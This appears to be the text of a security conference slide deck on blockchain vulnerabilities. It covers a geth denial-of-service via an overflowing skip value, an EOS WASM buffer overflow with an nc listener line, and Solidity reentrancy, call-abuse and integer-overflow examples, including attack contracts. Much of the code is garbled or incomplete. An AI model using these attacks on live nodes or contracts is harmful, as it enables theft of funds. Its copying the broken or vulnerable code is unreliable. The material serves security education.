WHO WE ARE?

RedTeam

ABOUT US

Redteam belongs to the 360 company information security department. Our research includes security services, red and blue confrontation, physical penetration, blockchain security, security research and more.

@rootclay
Block Chain

VULNERABILITY
01 Introduction & Background
A blockchain is an intelligent peer-to-peer network that uses distributed databases to identify, propagate, and record information, also known as the value Internet. In 2008, Satoshi Nakamoto proposed the concept of “blockchain” in Bitcoin White Paper and created the Bitcoin social network in 2009.
Blockchain is not a new technology, but a technical combination of old technologies. Its key technologies, including P2P dynamic networking, cryptographic-based shared books, consensus mechanisms (byzantine generals), smart contracts, and other technologies are all older technologies with more than a decade of history.
P2P

Peer-to-peer, or P2P in its abbreviated form, refers to computer networks that use a distributed architecture. That means that all the computers or devices that are part of it share the workloads in the network. The computers or devices that are part of a peer-to-peer network are called peers.

Smart contracts

Smart contracts help you exchange money, property, shares, or anything of value in a transparent, conflict-free way while avoiding the services of a middleman.

cryptographic & consensus

Cryptographic and consensus are used to sign or hash calculations. PoW, PoS, DPoS are used to solve the secure problems.
Decentralization

Decentralization is the most fundamental property of the blockchain, and it is also the most important factor that distinguishes the blockchain from other distributed ledgers.

Irreversibility

There is no central body which governs whether a particular transaction should be recorded or not. This is solved for using consensus amongst all nodes on the blockchain.
Blockchain technology, it is divided into three stages: blockchain 1.0, blockchain 2.0, and blockchain 3.0.
In 2008, Satoshi Nakamoto proposed the concept of "blockchain" in Bitcoin White Paper.

Blockchain appearance

Blockchain concept appears

Smart contracts are added to the digital currency, and other application development can be done on this basis. Blockchain 2.0 stands for Ethereum.

Generations 1.0

Bitcoin and Digital Currencies

The typical representative is: Bitcoin. Bitcoin is the most successful application in the development of blockchain. However, the disadvantage of Blockchain 1.0 is that it does not support other developments such as writing smart contract functions.

Generations 2.0

Smart Contracts

One of the major issues facing blockchain is scaling. Bitcoin remains troubled by transaction processing times and bottlenecks. Many new digital currencies have attempted to revise their blockchains in order to accommodate these issues, but with varying degrees of success.

Generations 3.0

The Future

One of the major issues facing blockchain is scaling. Bitcoin remains troubled by transaction processing times and bottlenecks. Many new digital currencies have attempted to revise their blockchains in order to accommodate these issues, but with varying degrees of success.
Blockchain security status
Some of cryptocurrency in recent months
Statistics on major safety incidents

Unit: one
Blockchain software vulnerability distribution

Example

Input and output verification
• Buffer overflow
• Cross-site scripting
• Injection attack, etc.

Code quality problem
• Unused local variables
• Null pointer dereference, etc.

Safety features
• Override access
• Unsafe random number
02 Vulnerability

1. Public Chain
2. Smart Contract
Public Chain Reacher

Ethereum:

“Ethereum is a decentralized platform that runs smart contracts.”

EOS:

“The most powerful infrastructure for decentralized applications.”
Geth

According to Ethernodes, geth has around two-thirds share.

https://github.com/ethereum/go-ethereum

Make Geth

Given geth is the majority in the Ethereum network, any critical vulnerability of it could possibly cause severe damages to the entire Ethereum ecosystem.
Background 2

This figure displays the protocol layers used in Ethereum. For supporting "light" clients, the Light Ethereum Subprotocol (LES) allows an Ethereum node to only download block headers as they appear and fetch other parts of the blockchain on-demand. To achieve that, we also need a full (or archive) node acting as the LES server to serve the light nodes.

geth --lightserv 20

While an LES client is requesting block headers from an LES server, the `GetBlockHeaders` message is sent from the client and the message handler on the server side parses the message.
Max size 0xffffffffffffffff

Query.skip+1 = 0
Process

Attack

GetBlockHeaders

query.skip = 0xffffffffffffffff

GetBlockHashesFromHash

Index out of range

Array size=0
DEMO
Eos

Be an operating system that truly supports commercial applications.

https://github.com/EOSIO/eos

One of the best things about using WASM is that EOS smart contracts can be written in any programming language that compiles to WASM.
This is a buffer overflow vulnerability. At libraries/chain/webassembly/binaryen.cpp (Line 78), Function `binaryen_runtime::instantiate_module`:

```cpp
for (auto& segment : module->table.segments) {
    Address offset = ConstantExpressionRunner<TrivialGlobalManager>(globals).visit(segment.offset).value.geti32();
    assert(offset + segment.data.size() <= module->table.initial);
    for (size_t i = 0; i != segment.data.size(); ++i) {
        table[offset + i] = segment.data[i]; // 008 write here!
    }
}
```

The values `offset` and `segment.data.size()` are read from the WASM file. This creates a vulnerability that can be exploited by a malicious contract providing invalid values. By doing so, attackers would be able to write data into arbitrary addresses in memory and take control of the node.

By stealing the private keys of super nodes, controlling the content of new blocks, packing a malicious contract into a new block and publishing it.
root@DESKTOP-LKQBR3H:/home/yuki# nc -lvvp 7777

--plugin eosio::chain_api

Blockchain Smart Contract Vulnerability
Base on Ethereum

- Integer overflow
- Reentrancy
- Denial of Service
- Call function abuse

TARGET
Blockchain Smart Contract Vulnerability
Base on Ethereum

Smart Contract

Gas

Parties > Smart Contract > Execution
Reentrancy
EVENT

• 3.6 million Ethereum coins
• $70 million
• Ethereum Classic (ETC) and Ethereum (ETH)
Reentrancy

EXAMPLE

pragma solidity ^0.4.22;

contract foo { // Define contract name.
    address admin; // Define the address variable, variable name: admin.
    mapping (address => uint256) balances; // Define an array of record balances, key name: balances.
    function foo(){ // Constructor, called when the contract is released, and only called once.
        admin = msg.sender; // Define the administrator as the publisher.
    }
    function deposit() payable{ // Fallback function, mainly used to record deposits.
        balances[msg.sender] += msg.value; // Increase deposit amount
    }
    function withdraw(address to, uint256 amount){ // Withdraw
        require(balances[msg.sender] > amount); // Determine if enough funds.
        require(balances[msg.sender] - amount < balances[msg.sender]); // After deducting the
        balances[msg.sender] -= amount; // Transfer to the cash without
    }
}

contract TEST { // Define a contract with a fallback function
    function () { // this is a fallback function
    }
    function Attack(address _target) payable { // Define an attack function
        _target.call.value(msg.value)(bytes4(keccak256(attack))); // Call the target
    }
}

A transfer function
address.gas().call.value()
pragma solidity ^0.4.22;

contract attack { //Define the contract, contract name: attack.
    address admin; //Define the amount of address variables, variable name: admin.
    address foo_address; //Define the amount of the address variable, variable name: foo_address.

    modifier adminOnly { //Defining decorator.
        require(admin == msg.sender); //Determine if the current contract administrator.
        _; //Continue to run the code behind.
    }

    function attack() payable { //Constructor that is executed when the contract is initiated.
        admin = msg.sender;
    }

    function setaddress(address target) adminOnly { //Define the function, the function name: setaddress,
        used to set the contract address of the attack, and the administrator can operate the change function./
        foo_address = target;
    }

    function deposit_foo(uint256 amount) adminOnly { //Define the function, the function name deposit_foo,
        used to deposit the target contract. You must deposit before you want to attack the target contract./
        foo_address.call.value(amount)(bytes4(keccak256("deposit()"))); //Deposit operation.
    }

    function withdraw_foo(uint256 amount) adminOnly { //Define the number of rows, the function name: with draw_foo,
        used to withdraw funds from the target contract. //Attack second step, /
        foo_address.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount); //Withdrawal operation.
    }

    function stop() adminOnly { //define the contract and transfer the money to the admin address.
        selfdestruct(admin); //self-destruct function operation.
    }

    function () payable { //The fallback function, which fires when there is ether turning to the contract.
        if(msg.sender == foo_address) { //Determine if the account address from the transfer is the target contract address.
            foo_address.call.value(amount)(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value); //Call the withdraw function of the victim target contract again.
        }
        balances[msg.sender] -= amount;
    }
}
Reentrancy

**EXAMPLE**

1. Create contract
2. Deposit 50eth
3. Create and transfer 2 eth
4. Deposit 2eth
5. Withdrawal 1eth
6. Transfer 1eth to the attack contract and execute fallback() again
7. Execute multiple fallback(), all eth out
8. Withdrawal 52eth
pragma solidity ^0.4.18;

class IDMoney {
    mapping (address => uint256) balances;

    event withdrawLog(address, uint256);

    function IDMoney() { owner = msg.sender; }
    function deposit() payable { balances[msg.sender] += msg.value; }
    function withdraw(address to, uint256 amount) {
        balances[msg.sender] -= amount;
        require(this.balance > amount);
        withdrawLog(to, amount);
        to.call.value(amount);
        balances[msg.sender] += amount;
    }

    function balanceOf() returns (uint256) { return balances[msg.sender]; }
    function balanceOf(address addr) returns (uint256) { return balances[addr]; }
}

class Attack {
    address owner;
    address victim;

    modifier ownerOnly { require(owner == msg.sender); } ...
    function Attack() payable { owner = msg.sender; }
}
Call function abuse

1. Call()
2. delegatecall()
3. callcode()
Call function abuse
EXAMPLE

Example 1

```solidity
pragma solidity ^0.4.22;

contract foo {
    address public admin;
    
    function call_function(address addr, bytes4 data) public {
        addr.delegatecall(data); // Vulnerabilities caused by using the delegatecall function
    }

    function callcode(bytes data) public {
        addr.callcode(data); // Vulnerabilities caused by using the callcode function
    }
}

contract attack {
    address public addr;
    
    function test() public {
        admin = 0x038f160ad632409bfb18592241d9fd88c1a072ba;
    }
}
```

Example 2

```solidity
function call_function(bytes data) public {
    this.call(data);
    /* Take advantage of code examples */
    this.call(bytes4(keccak256("withdraw(address)")), target);
}

function withdraw(address addr) public {
    require(isAuth(msg.sender));
    addr.transfer(this.balance);
}```
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
    allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);

    //call the receiveApproval function on the contract you want to be notified. This
    //crafts the function signature manually so one doesn't have to include a contract in here
    //just for this.

    //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
    //it is assumed that when does this that the call *should* succeed, otherwise one
    //would use vanilla approve instead.

    if(!_spender.call(bytes4(bytes32("receiveApproval(address,uint256,address,bytes)")),
        msg.sender, _value, this, _extraData)) { throw; }
    return true;
}
pragma solidity ^0.4.4;

contract Token {
  // @return total amount of tokens
  function totalSupply() constant returns (uint256 supply) {}
  // @param owner The address from which the balance will be retrieved
  function balanceOf(address owner) constant returns (uint256 balance) {}
  // @param value The amount of token to be transferred
  // @return Whether the transfer was successful or not
  function transfer(address to, uint256 value) returns (bool success) {}
  // @param value to transfer from sender, owner to recipient
  // @param from The address of sender
  // @param to The address of recipient
  // @param approved The amount of token to be transferred
  // @return Whether the transfer was successful or not
  function transferFrom(address from, address to, uint256 value) returns (bool success) {}
  // @param msg.sender The address of the account able to transfer the tokens
  // @param value The amount of wei to be approved for transfer
  // @return Whether the approval was successful or not
  function approve(address spender, uint256 value) returns (bool success) {}
}
Solidity's `uint` defaults to a 256-bit unsigned integer, indicating a range of: $[0, 2^{256}-1]$.
Arithmetic overflow

EXAMPLE

balances[msg.sender] = 5 < 6 = 2**256 - 1 > 1

pragma solidity ^0.4.22;
contract foo {
    // Define an contract name
    mapping (address => uint256) balances; // Define an array of record balances, array name: balances

    function deposit() payable{
        balances[msg.sender] += msg.value; // Increase deposit amount
    }

    function withdraw(uint256 amount){
        require(balances[msg.sender] - amount > 0); // Integer overflow, the loophole occurs in this line
        msg.sender.transfer(amount); // Transfer to the cash withdrawal address
        balances[msg.sender] -= amount; // After deducting the amount of cash
    }
}
We look directly at line 70, the function `distributeToken`.

```solidity
function distributeToken(address[] addresses, uint256 _value) {
    for (uint i = 0; i < addresses.length; i++) {
        balances[msg.sender] -= _value;
        balances[addresses[i]] += _value;
        Transfer(msg.sender, addresses[i], _value);
    }
}
```
pragma solidity ^0.4.4;

contract Token {

/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}

/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}

/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _owner The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {

/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {

/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {

/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spend
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {

event Transfer(address indexed _from, address indexed _to, uint256 _value);

function transfer(address to, uint256 value) returns (bool success) {

}
}

contract StandardToken is Token {

}

erc20Token distributeToken pending ...

[vm] from:0x30d19f3733c, to:erc20Token.distributeTokens(address()),uint256) 0x09...35550, value:0 wei, data:0x88...d12c1, 1 logs, hash:0x25f...c6f5
call to ERC20Token.balanceOf
[call] from:0x30d19f3733c, to:erc20Token.balanceOf(address), data:73a0a8...733c, return:
03

Conclusion
Conclusion

- **Public Chain Attack**
  - ETH&EOS Node Attack

- **Smart contract Attack**
  - Reentrancy
  - Call function abuse
  - Arithmetic overflow
  - Dos
  - Bad Randomness

- **Public Chain Audit**
  - Have to figure out the program execution process

- **Smart contract Audit**
  - Patiently view each line of code
Thank You